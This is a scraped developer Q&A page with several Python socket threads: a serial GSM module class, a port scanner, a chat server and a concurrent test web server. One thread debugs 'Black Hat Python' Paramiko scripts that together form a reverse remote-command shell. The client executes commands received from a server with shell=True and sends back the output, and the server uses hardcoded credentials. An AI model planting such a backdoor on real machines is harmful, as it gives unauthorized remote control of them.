Develop Reference

Python3 RSPI3 Serial Object Programming

I'm using today for a project a GSM/GPRS RSPI module. My job is to send, with AT commands, files to a FTP server (it's working by a simple program in Python or with putty by sending all AT commands one by one).
Today, to simplify my code, i chose to translate the code in object.
Also, i create my class with all my methods like send SMS, connectGPRS, sendFTP... (these methods do not appear to simplify the code)
But when i'm launching my program, i don't receive my confirm's reply from the module.
When isReady() start, the program send serial command to test the module. But i don't have any reply. My serial port configuration seems like right (debug() return ttyAMA0), and i can control my module by using Putty. But when i'm doing a short circuit with Tx and Rx, i can't see the request from the program on Putty.
Then my program stop in line sys.exit(0) with ser.isReady() returning false.
So my question is : It is possible to use Serial port, like i used it, in object programming ? Or do i make a mistake in my code ?
Regards. (sry btw for my frenchglish)
import serial
print("Reset du module")
resetModem()
time.sleep(5)
ser = ConnexionModule(SERIAL_PORT, 9600, 5)
if not ser.isReady():
print("Failed reboot, maybe a another program connected on serial, or the device isn't lauched")
sys.exit(0)
#debug() is a print function
def debug(text):
if VERBOSE:
print("Debug:---", text)
# This class is in reality in a another file imported in main
class ConnexionModule():
def __init__(self,serial_port,baudrate,timeout):
self.ser = serial.Serial(serial_port, baudrate, timeout)
# Testing if the module is ready to be used
def isReady(self):
# Resetting to defaults
cmd = 'ATZ\r'
# When i send 'ATZ' the module return 'OK'
debug("Cmd: " + cmd)
self.serialwrite(cmd,2)
reply = self.ser.read(self.ser.inWaiting())
reply = reply.decode("utf-8")
time.sleep(8) # Waiting for a reply
debug("Reply: " + reply)
return ("OK" in reply)
def serialwrite(self,cmd,slp):
debug("Sending:")
debug(self.ser.port)
debug(cmd)
self.ser.write(cmd.encode())
time.sleep(slp)
This code working :
import serial
print("Reset du module")
resetModem()
ser = serial.Serial(SERIAL_PORT, baudrate = 9600, timeout = 5)
if not isReady(ser):
print("Fail reboot")
sys.exit(0)
def isReady(pserial):
# Resetting to defaults
cmd = 'ATZ\r'
debug("Cmd: " + cmd)
serialwrite(pserial,cmd,2)
reply = pserial.read(pserial.inWaiting())
reply = reply.decode("utf-8")
time.sleep(8)
debug("Reply: " + reply)
return ("OK" in reply)
def debug(text):
if VERBOSE:
print("Debug:---", text)
def resetModem():
GPIO.setmode(GPIO.BOARD)
GPIO.setup(P_RESET, GPIO.OUT)
GPIO.output(P_RESET, GPIO.LOW)
time.sleep(0.5)
GPIO.output(P_RESET, GPIO.HIGH)
time.sleep(0.5)
GPIO.output(P_RESET, GPIO.LOW)
time.sleep(3)

How Can I tell if my Port Scanner is Working?

I'm making a port scanner that checks if ports are open or closed but I am convinced that it does not work as it lists every port as being closed, even ports I've specifically opened just to check if it is working. Can anyone see anything wrong with my code?
if userChoice == "1":
# code for option 1
print("You selected Port Scan Tool")
loop = 0
subprocess.call('cls', shell=True)
remoteServer = input("Enter a remote host to scan: ")
start=input("Enter starting port number: ")
start = int(start)
end=input("Enter ending port number: ")
end = int(end)
remoteServerIP = socket.gethostbyname(remoteServer)
# Print a nice banner with information on which host we are about to scan
print ("-" * 60)
print("Please wait, scanning remote host", remoteServerIP)
print("-" * 60)
# Check what time the scan started
t1 = datetime.now()
timestr = time.strftime("%d.%m.%Y-%H.%M.%S")# creates time stamp on text file
try:
textFileLocation = timestr + " - Port Scan Results.txt"# creates and names text file
for port in range(start, end): # lets user select range
sock = (socket.socket(socket.AF_INET, socket.SOCK_STREAM))
result = sock.connect_ex((remoteServerIP, port))
if result == 0:
print("Port {}: \t Open".format(port))
#print("Port {}: \t Closed".format(port))
#print("Port {} \t Closed".format(port))
textFileLocation = timestr + " - Port Scan Results.txt"
textFile = open(textFileLocation, "a")
textToWrite = "Open: Port %d\n" % port
textFile.write(textToWrite)
textFile.close()
else:
print("Port {}: \t Closed".format(port))
textFileLocation = timestr + " - Port Scan Results.txt"
textFile = open(textFileLocation, "a")
textToWrite = "Closed: Port %d\n" % port
textFile.write(textToWrite)
textFile.close()
sock.close()

This only tests whether there is any program listening on said port.
To see whether this works or not, first remove try block to see which error is returned. Then use correct error in exception handling, i.e. if your machine is not on the network try will fail as well as when being unable to connect.
Also you will have to introduce timeouts so that socket doesn't hang trying to connect.
To see if your code is doing anything to the target machine, activate firewall there and set it up to notify you if anyone is doing just what you did. Your code might also fail if your router/switcher is preventing port scanning on your network. You should check its firewall settings too.
You are also missing the except block in your code, and try is in wrong place anyway.
You have to test each connection:
for x in range(...):
try:
s = socket.socket(...)
s.connect(...)
s.close()
except: pass
Although you should use for instance:
except socket.SocketError as error:
and then check for error number etc. in variable error where exception will be stored.
Oh, BTW, socket.socket.connect() returns None, so your check would always be False.
This is not C, its Python.
>>> ...
>>> result = sock.connect(...)
>>> print result
None
Try-except will tell you whether connection passed or failed with a lot more info.

Error when making a socket chat

I am making a chat using the socket library in python, it works, only half way though, when you netcat onto what I am using as a channel I am able to send messages and the other terminal is able to receive them, but, when that terminal sends a message (typing text, then hit enter) I do not receive it through the python script. So I ran it raw in the following way:
python shell:
import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",8000)
sock.listen(2)
(client, (ip,port))=sock.accept()
Terminal:
nc 127.0.0.1 8000
This worked and to send or receive in the python shell all I had to do was type: sock.send("message") or sock.recv(2012)
Here is My code:
#!/bin/python
import socket
import subprocess
from subprocess import Popen, PIPE
import time
class color:
r = '\033[31m'
g = '\033[32m'
d = '\033[0m'
b = '\033[94m'
p = '\033[35m'
def clear():
print('\n' * 100)
chat_clients = []
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
clear()
def chatting_on_serverr():
(client, (ip, port))=sock.accept()
def chatting_on_server():
message = raw_input("Send Message: ")
client.send(message + '\n')
client.recv(2012)
chatting_on_server()
chatting_on_server()
def make_channel():
print color.b + '[+] '+color.d+'Welcome to the chat server'+color.b+' [+]'
host = raw_input("Channel Name: ")
port = input("Channel Access Key: ")
clear()
print color.p + "[info] "+color.b+"Making %s" % host
time.sleep(1)
sock.bind((host,port))
sock.listen(3)
print color.g + "[+] "+color.d+"Channel Made"+color.g+" [+]"+color.d
print("[info]: Waiting for people to join your channel...")
global chatting_on_serverr
global chatting_on_server
chatting_on_serverr()
clear()
make_channel()

I cannot reproduce this on my machine because of network limitations but I recommend you to look at this tutorial of a Python chat client and server. It will explain a lot about sockets and networking.
Beside that you shouldn't define globals with the same name as functions in your code. It might override their declaration. Another thing is the function inside the function. You can write that function like that:
def chatting_on_server():
client, (ip, port) = sock.accept()
while True:
message = raw_input("Send Message: ")
client.send(message + '\n')
client.recv(2012)
And you will get the same functionality. Also, you risk yourself with a stack overflow error because chatting_on_server calls itself forever.
Good luck!

All that was needed to be done is to print the output of the .recv function
x = client.recv(2020)
print(x)

Python Scripts Run but don't do anything

Lately, I've developed an interest in penetration testing. I decided to try and learn how to write some scripts before investing in a full blown course. Currently I'm working my way through the book Black Hat Python book by Justin Seitz.
I'm in the section on SSH using Paramiko and two of the scripts have me stumped. They both run without errors but nothing gets shown on screen. In Windows and Linux the terminal (or DOS prompt) just returns immediately to the prompt. I have gone over the scripts several times and can't find the issue. The code for both scripts is shown in full below.
Script #1 bh_sshserver.py (The purpose of this script is to create an ssh server)
import socket
import paramiko
import threading
import sys
class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return
paramiko.OPEN_SUCCEEDED
return
paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == '12345'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = sys.argv[2]
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection...'
client, addr = sock.accept()
except Exception, e:
print ' [-] Listen Failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH Negotiation Failed'
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send ('Welcome to bh_ssh')
while True:
try:
command= raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
Script #2 bh_sshRcmd.py (The purpose of this script is to create a command receiver for the ssh server to connect to)
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
Both of these scripts were written in Windows and so do not need the shebang statement (ie #!/usr/bin/python) at the top. I copied them over to a Linux VM and added that statement, plus made them executable using chmod +x. Still, nothing shows on screen when the scripts run. The IP addresses are from a VMware virtual network which has never given me problems before.

It is likely that there is an error connecting to your server. Try adding more print statements to cover the conditionals like so:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print 'ssh_session is active'
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
print 'recv-ing'
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
else:
print 'ssh_session is not active'
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
As for bh_sshserver.py, if you ran python bh_sshserver.py, nothing would happen. This is because you don't have any statements in the main scope. If you wanted to start the server you could add code to the bottom of the script with no indentation.

You should call your server from the terminal using command-line arguments like this:
python scriptname.py server_adress port
Change indentation on the last line of client script - it should call your function
Server adresses in the terminal and in the client function should be the same
That's pretty much all
I can provide you with these two scripts that are working for me, if you need it.

Thanks to everyone who replied. In the end I found some Paramiko demo files from github that included a sample SSH server. It turns out the script is much more complicated than the author makes it out to be. I was missing a ton of code, which is why the server was not working. As soon as I made my script a rough match to the sample it worked perfectly so did my client.
In case anyone comes across a similar problem, here is the link to the Paramiko demo files:
https://github.com/paramiko/paramiko/tree/master/demos

How to write a multiprocessing web server in python

I have a simple web server in python which responds to the requests based on some configurations. Configurations define the percent of OK, NOK, Timeout and Null responses:
import socket
import sys
import os
import datetime
import random
import time
# define globals
global log_file
global configs
dash = '-'
sep = '\n' + 100 * dash + '\n'
ok_message = 'HTTP/1.0 200 OK\n\n'
nok_message = 'HTTP/1.0 404 NotFound\n\n'
def initialize():
if not os.path.isdir('./logs'):
os.mkdir(os.path.abspath('./logs'))
path = os.path.abspath(os.path.join(os.path.abspath('./logs'),
datetime.datetime.now().strftime('%d-%m-%Y %H-%M-%S')))
os.mkdir(path)
log_file = open(os.path.join(path, 'received_packets.log'), 'a')
def finalize():
log_file.close()
def select_resp_type():
percents = {}
for key, val in configs.items():
if key.endswith('Percent'):
percents.update({key: int(val)})
items = [x.replace('Percent', '') for x, v in percents.items()
if (float(counts[x.replace('Percent', '')]) / counts['all_packets']) * 100 < v]
print items
print [(float(counts[x.replace('Percent', '')]) / counts['all_packets']) * 100 for x, v in percents.items()]
if len(items):
selected = random.choice(items)
counts[selected] += 1
return selected
sys.stdout('Everything is done!')
sys.exit(0)
def get_response():
resp_type = select_resp_type()
if resp_type == 'ok':
return ok_message
elif resp_type == 'nok':
return nok_message
elif resp_type == 'nok':
time.sleep(int(configs['timeoutAmount']))
return ok_message
elif resp_type == 'nok':
time.sleep(int(configs['timeoutAmount']))
return None
def load_configs(config):
if not os.path.isfile(config):
log_file.write('No such file ' + os.path.abspath(config))
sys.exit(1)
config_lines = open(config, 'r').readlines()
configs = {}
for line in config_lines:
if line.strip() == '' or line.strip().startswith('#'):
continue
configs.update({line.split('=')[0].strip(): line.split('=')[1].strip()})
if __name__ == '__main__':
initialize()
config = sys.argv[3]
load_configs(config)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((str(configs['host']), int(configs['port'])))
s.listen(1)
try:
while True:
s_sock, s_addr = s.accept()
sfile = s_sock.makefile('rw', 0)
content = sfile.readline().strip()
while content != '':
log_file.write(content + sep)
resp = get_response()
if resp:
sfile.write(resp)
sfile = s_sock.makefile('rw', 0)
content = sfile.readline().strip()
sfile.close()
s_sock.close()
except:
print 'an exception occurred!'
sys.exit(1)
finally:
finalize()
This is my configuration file:
# server configurations
host = 127.0.0.1
port = 8000
okPercent = 80
nokPercent = 20
nullPercent = 0
timeoutPercent = 0
timeoutAmount = 120
maxClients = 10
I want to change this script to be a multiprocessing (by which I mean non-blocking, so that multiple requests can be processed) web server, but I don't know where to start and how to do that. Any help?
EDIT 1:
According to #Jan-Philip Gehrcke's answer, I changed my script to use gevent library:
def answer(s):
try:
gevent.sleep(1)
s_sock, s_addr = s.accept()
print conn_sep + 'Receive a connection from ' + str(s_addr)
while True:
content = s_sock.recv(1024)
counts['all_packets'] += 1
log_file.write(packet_sep + content)
resp = get_response()
if resp:
s_sock.send(resp)
except:
print 'An error occurred in connection with ', s_addr, '; quiting...'
if __name__ == '__main__':
log_dir = sys.argv[2]
log_file = initialize(sys.argv[2])
config = sys.argv[1]
configs = load_configs(config)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((str(configs['host']), int(configs['port'])))
s.listen(int(configs['maxClients']))
threads = [gevent.spawn(answer, s) for i in xrange(int(configs['maxClients']))]
gevent.joinall(threads)
Nothing changed. Still if I run multiple clients to connect to the server, each one should wait for previous ones to be disconnected. Maybe I missed something. Any idea?
EDIT 2:
I also tried accepting requests in the main block as #Paul Rooney said:
def answer(server_sock):
try:
gevent.sleep(1)
while True:
content = server_sock.recv(1024)
counts['all_packets'] += 1
log_file.write(packet_sep + content)
resp = get_response()
if resp:
server_sock.send(resp)
except:
print 'An error occurred in connection with ', s_addr, '; quiting...'
if __name__ == '__main__':
log_dir = sys.argv[2]
log_file = initialize(sys.argv[2])
config = sys.argv[1]
configs = load_configs(config)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((str(configs['host']), int(configs['port'])))
s.listen(int(configs['maxClients']))
s_sock, s_addr = s.accept()
print conn_sep + 'Receive a connection from ' + str(s_addr)
threads = [gevent.spawn(answer, s_sock) for i in xrange(int(configs['maxClients']))]
gevent.joinall(threads)
First, I have the same result about concurrent connections; no requests will be answered till previous clients are dead. Second, when the first client disconnects, I get following error in the server and it terminates:
Traceback (most recent call last):
File "/opt/python2.7/lib/python2.7/site-packages/gevent-1.0.1-py2.7-linux-x86_64.egg/gevent/greenlet.py", line 327, in run
result = self._run(*self.args, **self.kwargs)
File "main.py", line 149, in answer
server_sock.send(resp)
error: [Errno 32] Broken pipe
<Greenlet at 0x1e202d0: answer(<socket._socketobject object at 0x1dedad0>)> failed with error
It seems when the first client disconnects, it closes its socket and that socket is no longer available for use; so other connected waiting clients can not be answered anymore.

At the very simplest level what you can do is spawn a new process every time your accept call returns and pass the process the client socket, which is returned by accept.
You are effectively offloading the processing of the request to the child process and leaving the main process free to process new requests and likewise offload them to new child processes.
The way I have found to do this and I am not saying it the perfect answer but it works for me (Debian Python 2.7.3).
Simple example that bears some resemblance to your original code and is intended only to demonstrate when to spawn the process.
import socket
import sys
import time
import errno
from multiprocessing import Process
ok_message = 'HTTP/1.0 200 OK\n\n'
nok_message = 'HTTP/1.0 404 NotFound\n\n'
def process_start(s_sock):
content = s_sock.recv(32)
s_sock.send(ok_message)
s_sock.close()
#time.sleep(10)
sys.exit(0) # kill the child process
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((sys.argv[1], int(sys.argv[2])))
print 'listen on address %s and port %d' % (sys.argv[1], int(sys.argv[2]))
s.listen(1)
try:
while True:
try:
s_sock, s_addr = s.accept()
p = Process(target=process_start, args=(s_sock,))
p.start()
except socket.error:
# stop the client disconnect from killing us
print 'got a socket error'
except Exception as e:
print 'an exception occurred!',
print e
sys.exit(1)
finally:
s.close()
The things to take note of are
s_sock, s_addr = s.accept()
p = Process(target=process_start, args=(s_sock,))
p.start()
Here is where you spawn a process in response to accept returning.
def process_start(s_sock):
content = s_sock.recv(32)
s_sock.send(ok_message)
s_sock.close()
#time.sleep(10)
sys.exit(0) # kill the child process
Here is the function that starts the new process, takes the socket passed to it and sends the response (you would do a bit more here). and then kills the child. I'm not 100% sure that this is the correct way to kill the child process or that killing it is even required. Maybe someone can correct me or edit the answer if required.
I can see that even if I uncomment the time.sleep calls that I can get responses from multiple client sockets pretty much instantly.
The greenlets way is no doubt a better way to do it in terms of system resource and performance.

"I want to change this script to be a multiprocessing (by which I mean non-blocking, so that multiple requests can be processed)"
Indeed, you mean "non-blocking", that is the right term. Before doing anything, you need to appreciate that this is a complex topic and that you need to learn a bit about concurrency architectures.
"concurrency" is the concept of making multiple things happen at the same time (whereas often times we actually need efficient usage of a single CPU core instead of real simultaneity).
Believe me, this is not a trivial topic. One approach many would take here is to monkey-patch the socket module via gevent (search for that). This would allow for many network connections to be processed concurrently, without changing your code. Actually, your problem is a prime example for gevent. Have a look into it.
How this works? Gevent installs a greenlet-based machinery behind the scenes and monitors your open sockets for I/O events via libev. Each network connection is handled within its own execution context (a so-called coroutine, as implemented by greenlet). Behind the scenes, the execution flow then jumps between coroutines, depending on the order of I/O events on your sockets. That's actually a complicated topic and you cannot understand it within 5 minutes.
The core concept with gevent/greenlet/coroutines/even-driven architectures is:
Instantaneously detect when your program would wait for I/O
Do some other work instead
For this to realize one does not need multiple CPU cores, which is why "multiprocessing" is not a good term in your title.